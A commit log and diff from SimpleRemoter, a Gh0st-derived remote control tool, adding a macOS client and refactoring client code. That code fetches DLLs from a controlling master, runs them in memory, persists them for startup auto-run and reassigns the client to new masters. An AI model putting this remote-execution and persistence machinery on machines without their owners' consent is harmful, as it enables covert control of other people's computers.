9 Commits

Author SHA1 Message Date
yuanyuanxiang
36ba9ccc1d Release v1.3.2 2026-05-01 11:36:56 +02:00
yuanyuanxiang
ed4b9eeb25 Fix: Web remote desktop double-click not working for macOS clients 2026-05-01 11:08:12 +02:00
yuanyuanxiang
cfa9b581fc Fix: Full Disk Access permission check using actual file read 2026-05-01 09:32:15 +02:00
yuanyuanxiang
979f309497 Feature: Add "Full Disk Access" permission check for macOS client 2026-05-01 08:41:08 +02:00
yuanyuanxiang
9b1cb1ced9 Feature: Add cursor position and type detection for macOS client 2026-05-01 08:32:46 +02:00
yuanyuanxiang
f2a184e760 Feature: Implement initial macOS SimpleRemoter client 2026-05-01 01:28:55 +02:00
yuanyuanxiang
7a90d217f3 fix: Missing "linux/lib/libzstd.a" to build Linux client 2026-04-29 19:47:25 +02:00
yuanyuanxiang
1cc66aff56 Feature: Web remote desktop cursor sync with remote host 2026-04-27 12:12:23 +02:00
yuanyuanxiang
b98607d24d Fix: Using wrong DLL info size causes RestoreMemDLL restore failed 2026-04-26 23:29:41 +02:00
36 changed files with 3452 additions and 83 deletions

View File

@@ -12,7 +12,7 @@
<a href="https://github.com/yuanyuanxiang/SimpleRemoter/releases"> <a href="https://github.com/yuanyuanxiang/SimpleRemoter/releases">
<img src="https://img.shields.io/github/v/release/yuanyuanxiang/SimpleRemoter?style=flat-square" alt="GitHub Release"> <img src="https://img.shields.io/github/v/release/yuanyuanxiang/SimpleRemoter?style=flat-square" alt="GitHub Release">
</a> </a>
<img src="https://img.shields.io/badge/platform-Windows%20%7C%20Linux-blue?style=flat-square" alt="Platform"> <img src="https://img.shields.io/badge/platform-Windows%20%7C%20Linux%20%7C%20macOS-blue?style=flat-square" alt="Platform">
<img src="https://img.shields.io/badge/language-C%2B%2B17-orange?style=flat-square&logo=cplusplus" alt="Language"> <img src="https://img.shields.io/badge/language-C%2B%2B17-orange?style=flat-square&logo=cplusplus" alt="Language">
<img src="https://img.shields.io/badge/IDE-VS2019%2B-purple?style=flat-square&logo=visualstudio" alt="IDE"> <img src="https://img.shields.io/badge/IDE-VS2019%2B-purple?style=flat-square&logo=visualstudio" alt="IDE">
<img src="https://img.shields.io/badge/license-MIT-green?style=flat-square" alt="License"> <img src="https://img.shields.io/badge/license-MIT-green?style=flat-square" alt="License">
@@ -56,7 +56,7 @@
## 项目简介 ## 项目简介
**SimpleRemoter** 是一个功能完整的远程控制解决方案,基于经典的 Gh0st 框架重构,采用现代 C++17 开发。项目始于 2019 年,经过持续迭代已发展为支持 **Windows + Linux** 平台的企业级远程管理工具。 **SimpleRemoter** 是一个功能完整的远程控制解决方案,基于经典的 Gh0st 框架重构,采用现代 C++17 开发。项目始于 2019 年,经过持续迭代已发展为支持 **Windows + Linux + macOS** 平台的企业级远程管理工具。
### 核心能力 ### 核心能力
@@ -354,6 +354,7 @@ struct FileChunkPacketV2 {
| `TestRun.exe` + `ServerDll.dll` | 分离加载,支持内存加载 DLL | | `TestRun.exe` + `ServerDll.dll` | 分离加载,支持内存加载 DLL |
| Windows 服务 | 后台运行,支持锁屏控制 | | Windows 服务 | 后台运行,支持锁屏控制 |
| Linux 客户端 | 跨平台支持v1.2.5+ | | Linux 客户端 | 跨平台支持v1.2.5+ |
| macOS 客户端 | 跨平台支持v1.3.2+ |
--- ---
@@ -489,10 +490,60 @@ cmake .
make make
``` ```
### macOS 客户端v1.3.2+
**系统要求**
- macOS 10.15 (Catalina) 及以上
- 需要授予系统权限:屏幕录制、辅助功能、完全磁盘访问
**功能支持**
| 功能 | 状态 | 实现 |
|------|------|------|
| 远程桌面 | ✅ | CoreGraphics 屏幕捕获H.264 硬件编码 |
| 鼠标控制 | ✅ | CGEvent 模拟,支持双击、拖拽 |
| 键盘控制 | ✅ | CGEvent 模拟,完整键码映射 |
| 光标同步 | ✅ | 实时同步远程光标样式 |
| 心跳/RTT | ✅ | RFC 6298 RTT 估算 |
| 文件管理 | ⏳ | 开发中 |
| 远程终端 | ⏳ | 开发中 |
**编译方式**
```bash
cd macos
mkdir build && cd build
cmake ..
make
```
--- ---
## 更新日志 ## 更新日志
### v1.3.2 (2026.5.1)
**macOS 客户端 & Web 远程桌面增强**
**新功能:**
- macOS 客户端支持:全新实现的 macOS 原生客户端支持屏幕捕获、H.264 编码、键鼠控制、系统权限管理
- Web 远程桌面光标同步:浏览器端实时显示远程主机光标样式
- 触发器功能:支持主机上线事件触发自定义操作
- 用户管理功能:新增角色权限管理,支持多用户分级控制
- DLL 执行增强:参数持久化存储、支持自动运行配置
- 远程桌面输入法切换:支持远程切换被控端输入语言
**改进:**
- Web 远程桌面手势优化改进双指手势识别、双击拖拽、Shift 组合键支持
**Bug 修复:**
- 修复 Web 远程桌面在 macOS 客户端上双击无法打开文件的问题
- 修复 macOS 完全磁盘访问权限检测不准确的问题
- 修复 RestoreMemDLL 因 DLL 信息大小错误导致还原失败
- 修复多个 DLL 同时执行可能因全局变量冲突而失败
- 修复鼠标双击和远程桌面切换问题
- 修复 Linux 客户端编译缺少 libzstd.a 的问题
### v1.3.1 (2026.4.15) ### v1.3.1 (2026.4.15)
**Web 远程桌面 & 多主控共享增强** **Web 远程桌面 & 多主控共享增强**

View File

@@ -12,7 +12,7 @@
<a href="https://github.com/yuanyuanxiang/SimpleRemoter/releases"> <a href="https://github.com/yuanyuanxiang/SimpleRemoter/releases">
<img src="https://img.shields.io/github/v/release/yuanyuanxiang/SimpleRemoter?style=flat-square" alt="GitHub Release"> <img src="https://img.shields.io/github/v/release/yuanyuanxiang/SimpleRemoter?style=flat-square" alt="GitHub Release">
</a> </a>
<img src="https://img.shields.io/badge/platform-Windows%20%7C%20Linux-blue?style=flat-square" alt="Platform"> <img src="https://img.shields.io/badge/platform-Windows%20%7C%20Linux%20%7C%20macOS-blue?style=flat-square" alt="Platform">
<img src="https://img.shields.io/badge/language-C%2B%2B17-orange?style=flat-square&logo=cplusplus" alt="Language"> <img src="https://img.shields.io/badge/language-C%2B%2B17-orange?style=flat-square&logo=cplusplus" alt="Language">
<img src="https://img.shields.io/badge/IDE-VS2019%2B-purple?style=flat-square&logo=visualstudio" alt="IDE"> <img src="https://img.shields.io/badge/IDE-VS2019%2B-purple?style=flat-square&logo=visualstudio" alt="IDE">
<img src="https://img.shields.io/badge/license-MIT-green?style=flat-square" alt="License"> <img src="https://img.shields.io/badge/license-MIT-green?style=flat-square" alt="License">
@@ -55,7 +55,7 @@
## Overview ## Overview
**SimpleRemoter** is a full-featured remote control solution, rebuilt from the classic Gh0st framework using modern C++17. Started in 2019, it has evolved into an enterprise-grade remote management tool supporting both **Windows and Linux** platforms. **SimpleRemoter** is a full-featured remote control solution, rebuilt from the classic Gh0st framework using modern C++17. Started in 2019, it has evolved into an enterprise-grade remote management tool supporting **Windows, Linux, and macOS** platforms.
### Core Capabilities ### Core Capabilities
@@ -354,6 +354,7 @@ The master program **YAMA.exe** provides a graphical management interface:
| `TestRun.exe` + `ServerDll.dll` | Separate loading, supports in-memory DLL loading | | `TestRun.exe` + `ServerDll.dll` | Separate loading, supports in-memory DLL loading |
| Windows Service | Background operation, supports lock screen control | | Windows Service | Background operation, supports lock screen control |
| Linux Client | Cross-platform support (v1.2.5+) | | Linux Client | Cross-platform support (v1.2.5+) |
| macOS Client | Cross-platform support (v1.3.2+) |
--- ---
@@ -474,10 +475,60 @@ cmake .
make make
``` ```
### macOS Client (v1.3.2+)
**System Requirements**:
- macOS 10.15 (Catalina) or later
- Required permissions: Screen Recording, Accessibility, Full Disk Access
**Feature Support**:
| Feature | Status | Implementation |
|---------|--------|----------------|
| Remote Desktop | ✅ | CoreGraphics screen capture, H.264 hardware encoding |
| Mouse Control | ✅ | CGEvent simulation, supports double-click, drag |
| Keyboard Control | ✅ | CGEvent simulation, full keycode mapping |
| Cursor Sync | ✅ | Real-time remote cursor style synchronization |
| Heartbeat/RTT | ✅ | RFC 6298 RTT estimation |
| File Management | ⏳ | In development |
| Remote Terminal | ⏳ | In development |
**Build Instructions**:
```bash
cd macos
mkdir build && cd build
cmake ..
make
```
--- ---
## Changelog ## Changelog
### v1.3.2 (2026.5.1)
**macOS Client & Web Remote Desktop Enhancement**
**New Features:**
- macOS client support: Native macOS client with screen capture, H.264 encoding, keyboard/mouse control, system permission management
- Web remote desktop cursor sync: Real-time display of remote host cursor style in browser
- Trigger functionality: Support custom actions triggered by host online events
- User management: Role-based permission management, multi-user hierarchical control
- DLL execution enhancements: Parameter persistence, auto-run configuration support
- Remote desktop input language switching: Support switching remote host input language
**Improvements:**
- Web remote desktop gesture optimization: Improved two-finger gesture recognition, double-tap drag, Shift key combination support
**Bug Fixes:**
- Fixed Web remote desktop double-click not working for macOS clients
- Fixed macOS Full Disk Access permission detection inaccuracy
- Fixed RestoreMemDLL failure due to incorrect DLL info size
- Fixed multiple DLLs execution failure due to global variable conflict
- Fixed mouse double-click and remote desktop switching issues
- Fixed Linux client build missing libzstd.a
### v1.3.1 (2026.4.15) ### v1.3.1 (2026.4.15)
**Web Remote Desktop & Multi-Master Sharing Enhancement** **Web Remote Desktop & Multi-Master Sharing Enhancement**

View File

@@ -12,7 +12,7 @@
<a href="https://github.com/yuanyuanxiang/SimpleRemoter/releases"> <a href="https://github.com/yuanyuanxiang/SimpleRemoter/releases">
<img src="https://img.shields.io/github/v/release/yuanyuanxiang/SimpleRemoter?style=flat-square" alt="GitHub Release"> <img src="https://img.shields.io/github/v/release/yuanyuanxiang/SimpleRemoter?style=flat-square" alt="GitHub Release">
</a> </a>
<img src="https://img.shields.io/badge/platform-Windows%20%7C%20Linux-blue?style=flat-square" alt="Platform"> <img src="https://img.shields.io/badge/platform-Windows%20%7C%20Linux%20%7C%20macOS-blue?style=flat-square" alt="Platform">
<img src="https://img.shields.io/badge/language-C%2B%2B17-orange?style=flat-square&logo=cplusplus" alt="Language"> <img src="https://img.shields.io/badge/language-C%2B%2B17-orange?style=flat-square&logo=cplusplus" alt="Language">
<img src="https://img.shields.io/badge/IDE-VS2019%2B-purple?style=flat-square&logo=visualstudio" alt="IDE"> <img src="https://img.shields.io/badge/IDE-VS2019%2B-purple?style=flat-square&logo=visualstudio" alt="IDE">
<img src="https://img.shields.io/badge/license-MIT-green?style=flat-square" alt="License"> <img src="https://img.shields.io/badge/license-MIT-green?style=flat-square" alt="License">
@@ -55,7 +55,7 @@
## 專案簡介 ## 專案簡介
**SimpleRemoter** 是一個功能完整的遠端控制解決方案,基於經典的 Gh0st 框架重構,採用現代 C++17 開發。專案始於 2019 年,經過持續迭代已發展為支援 **Windows + Linux** 平台的企業級遠端管理工具。 **SimpleRemoter** 是一個功能完整的遠端控制解決方案,基於經典的 Gh0st 框架重構,採用現代 C++17 開發。專案始於 2019 年,經過持續迭代已發展為支援 **Windows + Linux + macOS** 平台的企業級遠端管理工具。
### 核心能力 ### 核心能力
@@ -353,6 +353,7 @@ struct FileChunkPacketV2 {
| `TestRun.exe` + `ServerDll.dll` | 分離載入,支援記憶體載入 DLL | | `TestRun.exe` + `ServerDll.dll` | 分離載入,支援記憶體載入 DLL |
| Windows 服務 | 背景執行,支援鎖定畫面控制 | | Windows 服務 | 背景執行,支援鎖定畫面控制 |
| Linux 用戶端 | 跨平台支援v1.2.5+ | | Linux 用戶端 | 跨平台支援v1.2.5+ |
| macOS 用戶端 | 跨平台支援v1.3.2+ |
--- ---
@@ -473,10 +474,60 @@ cmake .
make make
``` ```
### macOS 用戶端v1.3.2+
**系統要求**
- macOS 10.15 (Catalina) 及以上
- 需要授予系統權限:螢幕錄製、輔助使用、完全磁碟存取
**功能支援**
| 功能 | 狀態 | 實作 |
|------|------|------|
| 遠端桌面 | ✅ | CoreGraphics 螢幕擷取H.264 硬體編碼 |
| 滑鼠控制 | ✅ | CGEvent 模擬,支援雙擊、拖曳 |
| 鍵盤控制 | ✅ | CGEvent 模擬,完整鍵碼對應 |
| 游標同步 | ✅ | 即時同步遠端游標樣式 |
| 心跳/RTT | ✅ | RFC 6298 RTT 估算 |
| 檔案管理 | ⏳ | 開發中 |
| 遠端終端 | ⏳ | 開發中 |
**編譯方式**
```bash
cd macos
mkdir build && cd build
cmake ..
make
```
--- ---
## 更新日誌 ## 更新日誌
### v1.3.2 (2026.5.1)
**macOS 用戶端 & Web 遠端桌面增強**
**新功能:**
- macOS 用戶端支援:全新實現的 macOS 原生用戶端支援螢幕擷取、H.264 編碼、鍵鼠控制、系統權限管理
- Web 遠端桌面游標同步:瀏覽器端即時顯示遠端主機游標樣式
- 觸發器功能:支援主機上線事件觸發自訂操作
- 使用者管理功能:新增角色權限管理,支援多使用者分級控制
- DLL 執行增強:參數持久化儲存、支援自動執行設定
- 遠端桌面輸入法切換:支援遠端切換被控端輸入語言
**改進:**
- Web 遠端桌面手勢最佳化改進雙指手勢識別、雙擊拖曳、Shift 組合鍵支援
**Bug 修復:**
- 修復 Web 遠端桌面在 macOS 用戶端上雙擊無法開啟檔案的問題
- 修復 macOS 完全磁碟存取權限偵測不準確的問題
- 修復 RestoreMemDLL 因 DLL 資訊大小錯誤導致還原失敗
- 修復多個 DLL 同時執行可能因全域變數衝突而失敗
- 修復滑鼠雙擊和遠端桌面切換問題
- 修復 Linux 用戶端編譯缺少 libzstd.a 的問題
### v1.3.1 (2026.4.15) ### v1.3.1 (2026.4.15)
**Web 遠端桌面 & 多主控共享增強** **Web 遠端桌面 & 多主控共享增強**

View File

@@ -61,6 +61,10 @@ BOOL SetKeepAliveOptions(int socket, int nKeepAliveSec = 180)
return FALSE; return FALSE;
} }
#ifdef __APPLE__
// macOS: 只有 TCP_KEEPALIVE (等同于 TCP_KEEPIDLE)
setsockopt(socket, IPPROTO_TCP, TCP_KEEPALIVE, &nKeepAliveSec, sizeof(nKeepAliveSec));
#else
// 设置 TCP_KEEPIDLE (3分钟空闲后开始发送 keep-alive 包) // 设置 TCP_KEEPIDLE (3分钟空闲后开始发送 keep-alive 包)
if (setsockopt(socket, IPPROTO_TCP, TCP_KEEPIDLE, &nKeepAliveSec, sizeof(nKeepAliveSec)) < 0) { if (setsockopt(socket, IPPROTO_TCP, TCP_KEEPIDLE, &nKeepAliveSec, sizeof(nKeepAliveSec)) < 0) {
Mprintf("Failed to set TCP_KEEPIDLE\n"); Mprintf("Failed to set TCP_KEEPIDLE\n");
@@ -80,6 +84,7 @@ BOOL SetKeepAliveOptions(int socket, int nKeepAliveSec = 180)
Mprintf("Failed to set TCP_KEEPCNT\n"); Mprintf("Failed to set TCP_KEEPCNT\n");
return FALSE; return FALSE;
} }
#endif
Mprintf("TCP keep-alive settings applied successfully\n"); Mprintf("TCP keep-alive settings applied successfully\n");
return TRUE; return TRUE;

View File

@@ -66,6 +66,7 @@ ThreadInfo* CreateKB(CONNECT_ADDRESS* conn, State& bExit, const std::string &pub
CKernelManager::CKernelManager(CONNECT_ADDRESS* conn, IOCPClient* ClientObject, HINSTANCE hInstance, ThreadInfo* kb, State& s) CKernelManager::CKernelManager(CONNECT_ADDRESS* conn, IOCPClient* ClientObject, HINSTANCE hInstance, ThreadInfo* kb, State& s)
: m_conn(conn), m_hInstance(hInstance), CManager(ClientObject), g_bExit(s) : m_conn(conn), m_hInstance(hInstance), CManager(ClientObject), g_bExit(s)
{ {
m_cfg = new iniFile(CLIENT_PATH);
m_ulThreadCount = 0; m_ulThreadCount = 0;
#ifdef _DEBUG #ifdef _DEBUG
m_settings = { 5 }; m_settings = { 5 };
@@ -77,7 +78,7 @@ CKernelManager::CKernelManager(CONNECT_ADDRESS* conn, IOCPClient* ClientObject,
// C2C 初始化 // C2C 初始化
if (conn) m_MyClientID = conn->clientID; if (conn) m_MyClientID = conn->clientID;
// 恢复并启动 SCH_MODE_STARTUP 模式的 DLL // 恢复并启动 SCH_MODE_STARTUP 模式的 DLL
int n = RestoreMemDLL(); static int n = RestoreMemDLL();
if (n) { if (n) {
Mprintf("[CKernelManager] RestoreMemDLL count: %d\n", n); Mprintf("[CKernelManager] RestoreMemDLL count: %d\n", n);
} }
@@ -96,6 +97,7 @@ BOOL IsThreadsRunning(ThreadInfo* threads, int count)
CKernelManager::~CKernelManager() CKernelManager::~CKernelManager()
{ {
Mprintf("~CKernelManager begin\n"); Mprintf("~CKernelManager begin\n");
SAFE_DELETE(m_cfg);
HANDLE hList[MAX_THREADNUM] = {}; HANDLE hList[MAX_THREADNUM] = {};
for (int i=0; i<MAX_THREADNUM; ++i) { for (int i=0; i<MAX_THREADNUM; ++i) {
if (m_hThread[i].h!=0) { if (m_hThread[i].h!=0) {
@@ -239,7 +241,7 @@ DWORD WINAPI ExecuteDLLProc(LPVOID param)
DllExecParam<>* dll = (DllExecParam<>*)param; DllExecParam<>* dll = (DllExecParam<>*)param;
DllExecuteInfo info = *(dll->info); DllExecuteInfo info = *(dll->info);
PluginParam pThread = dll->param; PluginParam pThread = dll->param;
CManager* This = dll->manager; CKernelManager* This = (CKernelManager*)dll->manager;
#if _DEBUG #if _DEBUG
WriteBinaryToFile((char*)dll->buffer, info.Size, info.Name); WriteBinaryToFile((char*)dll->buffer, info.Size, info.Name);
DllRunner* runner = new DefaultDllRunner(info.Name); DllRunner* runner = new DefaultDllRunner(info.Name);
@@ -268,17 +270,21 @@ DWORD WINAPI ExecuteDLLProc(LPVOID param)
RunSimpleTcpFunc proc = module ? (RunSimpleTcpFunc)runner->GetProcAddress(module, "RunSimpleTcp") : NULL; RunSimpleTcpFunc proc = module ? (RunSimpleTcpFunc)runner->GetProcAddress(module, "RunSimpleTcp") : NULL;
char* user = (char*)dll->param.User; char* user = (char*)dll->param.User;
FrpcParam* f = (FrpcParam*)user; FrpcParam* f = (FrpcParam*)user;
Mprintf("MemoryGetProcAddress '%s' %s\n", info.Name, proc ? "success" : "failed");
int r = 0;
if (proc) { if (proc) {
Mprintf("MemoryGetProcAddress '%s' %s\n", info.Name, proc ? "success" : "failed"); r=proc(f->privilegeKey, f->timestamp, f->serverAddr, f->serverPort, f->localPort, f->remotePort,
int r=proc(f->privilegeKey, f->timestamp, f->serverAddr, f->serverPort, f->localPort, f->remotePort,
&CKernelManager::g_IsAppExit); &CKernelManager::g_IsAppExit);
if (r) { }
char buf[100]; else {
sprintf_s(buf, "Run %s [proxy %d] failed: %d", info.Name, f->localPort, r); This->m_cfg->SetStr("settings", info.Name + std::string(".md5"), "");
Mprintf("%s\n", buf); }
ClientMsg msg("代理端口", buf); if (r) {
This->SendData((LPBYTE)&msg, sizeof(msg)); char buf[100];
} sprintf_s(buf, "Run %s [proxy %d] failed: %d", info.Name, f->localPort, r);
Mprintf("%s\n", buf);
ClientMsg msg("代理端口", buf);
This->SendData((LPBYTE)&msg, sizeof(msg));
} }
SAFE_DELETE_ARRAY(user); SAFE_DELETE_ARRAY(user);
break; break;
@@ -287,17 +293,21 @@ DWORD WINAPI ExecuteDLLProc(LPVOID param)
RunSimpleTcpWithTokenFunc proc = module ? (RunSimpleTcpWithTokenFunc)runner->GetProcAddress(module, "RunSimpleTcpWithToken") : NULL; RunSimpleTcpWithTokenFunc proc = module ? (RunSimpleTcpWithTokenFunc)runner->GetProcAddress(module, "RunSimpleTcpWithToken") : NULL;
char* user = (char*)dll->param.User; char* user = (char*)dll->param.User;
FrpcParam* f = (FrpcParam*)user; FrpcParam* f = (FrpcParam*)user;
Mprintf("MemoryGetProcAddress '%s' %s\n", info.Name, proc ? "success" : "failed");
int r = 0;
if (proc) { if (proc) {
Mprintf("MemoryGetProcAddress '%s' %s\n", info.Name, proc ? "success" : "failed"); r = proc(f->privilegeKey, f->serverAddr, f->serverPort, f->localPort, f->remotePort,
int r = proc(f->privilegeKey, f->serverAddr, f->serverPort, f->localPort, f->remotePort,
&CKernelManager::g_IsAppExit); &CKernelManager::g_IsAppExit);
if (r) { }
char buf[100]; else {
sprintf_s(buf, "Run %s [proxy %d] failed: %d", info.Name, f->localPort, r); This->m_cfg->SetStr("settings", info.Name + std::string(".md5"), "");
Mprintf("%s\n", buf); }
ClientMsg msg("代理端口", buf); if (r) {
This->SendData((LPBYTE)&msg, sizeof(msg)); char buf[100];
} sprintf_s(buf, "Run %s [proxy %d] failed: %d", info.Name, f->localPort, r);
Mprintf("%s\n", buf);
ClientMsg msg("代理端口", buf);
This->SendData((LPBYTE)&msg, sizeof(msg));
} }
SAFE_DELETE_ARRAY(user); SAFE_DELETE_ARRAY(user);
break; break;
@@ -630,16 +640,15 @@ std::string getHardwareIDByCfg(const std::string& pwdHash, const std::string& ma
} }
int CKernelManager::RestoreMemDLL() { int CKernelManager::RestoreMemDLL() {
iniFile cfg(CLIENT_PATH);
binFile bin(CLIENT_PATH); binFile bin(CLIENT_PATH);
// 枚举所有以 .md5 结尾的值名称 // 枚举所有以 .md5 结尾的值名称
auto md5Keys = cfg.EnumValues("settings", ".md5"); auto md5Keys = m_cfg->EnumValues("settings", ".md5");
int count = 0; int count = 0;
for (const auto& key : md5Keys) { for (const auto& key : md5Keys) {
// 获取 MD5 值 // 获取 MD5 值
std::string md5 = cfg.GetStr("settings", key); std::string md5 = m_cfg->GetStr("settings", key);
if (md5.empty()) if (md5.empty())
continue; continue;
@@ -657,11 +666,11 @@ int CKernelManager::RestoreMemDLL() {
continue; continue;
const DllExecuteInfo* info = reinterpret_cast<const DllExecuteInfo*>(binData.data() + 1); const DllExecuteInfo* info = reinterpret_cast<const DllExecuteInfo*>(binData.data() + 1);
if (binData.size() < sz + info->Size) if (binData.size() < 1 + info->InfoSize + info->Size)
continue; continue;
// 恢复到 m_MemDLL // 恢复到 m_MemDLL
const BYTE* dllData = reinterpret_cast<const BYTE*>(binData.data() + sz); const BYTE* dllData = reinterpret_cast<const BYTE*>(binData.data() + 1 + info->InfoSize);
m_MemDLL[md5] = std::vector<BYTE>(dllData, dllData + info->Size); m_MemDLL[md5] = std::vector<BYTE>(dllData, dllData + info->Size);
Mprintf("Restore DLL from registry: %s (%s)\n", name.c_str(), md5.c_str()); Mprintf("Restore DLL from registry: %s (%s)\n", name.c_str(), md5.c_str());
count++; count++;
@@ -673,8 +682,8 @@ int CKernelManager::RestoreMemDLL() {
ScheduleParams& sch = infoCopy.Schedule; ScheduleParams& sch = infoCopy.Schedule;
// 从注册表读取运行时状态LastRunTime 和 CurrentCount // 从注册表读取运行时状态LastRunTime 和 CurrentCount
std::string lastRunStr = cfg.GetStr("settings", name + ".lastrun"); std::string lastRunStr = m_cfg->GetStr("settings", name + ".lastrun");
std::string countStr = cfg.GetStr("settings", name + ".count"); std::string countStr = m_cfg->GetStr("settings", name + ".count");
if (!lastRunStr.empty()) { if (!lastRunStr.empty()) {
sch.LastRunTime = std::stoull(lastRunStr); sch.LastRunTime = std::stoull(lastRunStr);
} }
@@ -695,7 +704,7 @@ int CKernelManager::RestoreMemDLL() {
// 如果有时间间隔限制,更新 LastRunTime // 如果有时间间隔限制,更新 LastRunTime
if (sch.Config.Startup.Interval > 0) { if (sch.Config.Startup.Interval > 0) {
YamaTaskEngine::MarkExecuted(&sch); YamaTaskEngine::MarkExecuted(&sch);
cfg.SetStr("settings", name + ".lastrun", std::to_string(sch.LastRunTime)); m_cfg->SetStr("settings", name + ".lastrun", std::to_string(sch.LastRunTime));
} }
// 如果有次数限制,更新 CurrentCount // 如果有次数限制,更新 CurrentCount
if (sch.MaxCount > 0) { if (sch.MaxCount > 0) {
@@ -703,7 +712,7 @@ int CKernelManager::RestoreMemDLL() {
// 如果没更新过 LastRunTime需要单独增加计数 // 如果没更新过 LastRunTime需要单独增加计数
sch.CurrentCount++; sch.CurrentCount++;
} }
cfg.SetStr("settings", name + ".count", std::to_string(sch.CurrentCount)); m_cfg->SetStr("settings", name + ".count", std::to_string(sch.CurrentCount));
} }
} }
} }
@@ -721,15 +730,15 @@ BOOL ExecDLL(CKernelManager *This, PBYTE szBuffer, ULONG ulLength, void *user)
const T* info = (T*)(szBuffer + 1); const T* info = (T*)(szBuffer + 1);
const char* md5 = info->Md5; const char* md5 = info->Md5;
auto find = m_MemDLL.find(md5); auto find = m_MemDLL.find(md5);
if (find == m_MemDLL.end() && ulLength == sz) { config *cfg = This->m_cfg;
iniFile cfg(CLIENT_PATH); auto s = cfg->GetStr("settings", info->Name + std::string(".md5"));
auto md5 = cfg.GetStr("settings", info->Name + std::string(".md5")); if ((find == m_MemDLL.end() || s.empty()) && ulLength == sz) {
if (md5.empty() || md5 != info->Md5 || !This->m_conn->IsVerified()) { if (s.empty() || s != info->Md5 || !This->m_conn->IsVerified()) {
// 第一个命令没有包含DLL数据需客户端检测本地是否已经有相关DLL没有则向主控请求执行代码 // 第一个命令没有包含DLL数据需客户端检测本地是否已经有相关DLL没有则向主控请求执行代码
This->m_ClientObject->Send2Server((char*)szBuffer, ulLength); This->m_ClientObject->Send2Server((char*)szBuffer, ulLength);
return TRUE; return TRUE;
} }
Mprintf("Execute local DLL from registry: %s\n", md5.c_str()); Mprintf("Execute local DLL from registry: %s\n", md5);
binFile bin(CLIENT_PATH); binFile bin(CLIENT_PATH);
auto local = bin.GetStr("settings", info->Name + std::string(".bin")); auto local = bin.GetStr("settings", info->Name + std::string(".bin"));
const BYTE* bytes = reinterpret_cast<const BYTE*>(local.data()); const BYTE* bytes = reinterpret_cast<const BYTE*>(local.data());
@@ -741,8 +750,7 @@ BOOL ExecDLL(CKernelManager *This, PBYTE szBuffer, ULONG ulLength, void *user)
// 收到完整 DLL 数据,保存到注册表 // 收到完整 DLL 数据,保存到注册表
if (md5[0]) { if (md5[0]) {
m_MemDLL[md5] = std::vector<BYTE>(szBuffer + sz, szBuffer + sz + info->Size); m_MemDLL[md5] = std::vector<BYTE>(szBuffer + sz, szBuffer + sz + info->Size);
iniFile cfg(CLIENT_PATH); cfg->SetStr("settings", info->Name + std::string(".md5"), md5);
cfg.SetStr("settings", info->Name + std::string(".md5"), md5);
binFile bin(CLIENT_PATH); binFile bin(CLIENT_PATH);
std::string buffer(reinterpret_cast<const char*>(szBuffer), ulLength); std::string buffer(reinterpret_cast<const char*>(szBuffer), ulLength);
bin.SetStr("settings", info->Name + std::string(".bin"), buffer); bin.SetStr("settings", info->Name + std::string(".bin"), buffer);
@@ -758,7 +766,7 @@ BOOL ExecDLL(CKernelManager *This, PBYTE szBuffer, ULONG ulLength, void *user)
// 替换 .bin 中的参数部分(跳过命令字节) // 替换 .bin 中的参数部分(跳过命令字节)
memcpy(&binData[1], szBuffer + 1, sizeof(T)); memcpy(&binData[1], szBuffer + 1, sizeof(T));
bin.SetStr("settings", info->Name + std::string(".bin"), binData); bin.SetStr("settings", info->Name + std::string(".bin"), binData);
Mprintf("Update DLL params in registry: %s\n", info->Name); Mprintf("Update DLL params [%d bytes] in registry: %s\n", sizeof(T), info->Name);
} }
} }
if (data && SCH_MODE_NONE == info->Schedule.Mode) { if (data && SCH_MODE_NONE == info->Schedule.Mode) {
@@ -783,8 +791,7 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
switch (szBuffer[0]) { switch (szBuffer[0]) {
case CMD_SET_GROUP: { case CMD_SET_GROUP: {
std::string group = std::string((char*)szBuffer + 1); std::string group = std::string((char*)szBuffer + 1);
iniFile cfg(CLIENT_PATH); m_cfg->SetStr("settings", "group_name", group);
cfg.SetStr("settings", "group_name", group);
break; break;
} }
@@ -955,22 +962,21 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
case COMMAND_SHARE: case COMMAND_SHARE:
case COMMAND_ASSIGN_MASTER: case COMMAND_ASSIGN_MASTER:
if (ulLength > 2) { if (ulLength > 2) {
iniFile cfg(CLIENT_PATH);
switch (szBuffer[1]) { switch (szBuffer[1]) {
case SHARE_TYPE_YAMA_FOREVER: { case SHARE_TYPE_YAMA_FOREVER: {
auto v = StringToVector((char*)szBuffer + 2, ':', 3); auto v = StringToVector((char*)szBuffer + 2, ':', 3);
if (v[0].empty() || v[1].empty()) if (v[0].empty() || v[1].empty())
break; break;
auto now = time(nullptr); auto now = time(nullptr);
auto valid_to = atoi(cfg.GetStr("settings", "valid_to").c_str()); auto valid_to = atoi(m_cfg->GetStr("settings", "valid_to").c_str());
if (now <= valid_to) break; // Avoid assign again if (now <= valid_to) break; // Avoid assign again
cfg.SetStr("settings", "master", v[0]); m_cfg->SetStr("settings", "master", v[0]);
cfg.SetStr("settings", "port", v[1]); m_cfg->SetStr("settings", "port", v[1]);
float days = atof(v[2].c_str()); float days = atof(v[2].c_str());
if (days > 0) { if (days > 0) {
auto valid_to = time(0) + days*86400; auto valid_to = time(0) + days*86400;
// overflow after 2038-01-19 // overflow after 2038-01-19
cfg.SetStr("settings", "valid_to", std::to_string(valid_to)); m_cfg->SetStr("settings", "valid_to", std::to_string(valid_to));
} }
} }
case SHARE_TYPE_YAMA: { case SHARE_TYPE_YAMA: {
@@ -984,11 +990,11 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
if (v[0].empty() || v[1].empty()) if (v[0].empty() || v[1].empty())
break; break;
auto share = v[0] + ":" + v[1]; auto share = v[0] + ":" + v[1];
auto list = cfg.GetStr("settings", "share_list"); auto list = m_cfg->GetStr("settings", "share_list");
auto shareList = list.empty() ? std::vector<std::string>{} : StringToVector(list, '|'); auto shareList = list.empty() ? std::vector<std::string>{} : StringToVector(list, '|');
if (VectorContains(shareList, share)) break; if (VectorContains(shareList, share)) break;
shareList.push_back(share); shareList.push_back(share);
cfg.SetStr("settings", "share_list", VectorJoin(shareList, '|')); m_cfg->SetStr("settings", "share_list", VectorJoin(shareList, '|'));
Mprintf("Share client to new master: %s\n", share.c_str()); Mprintf("Share client to new master: %s\n", share.c_str());
} }
auto a = NewClientStartArg((char*)szBuffer + 2, IsSharedRunning, TRUE); auto a = NewClientStartArg((char*)szBuffer + 2, IsSharedRunning, TRUE);
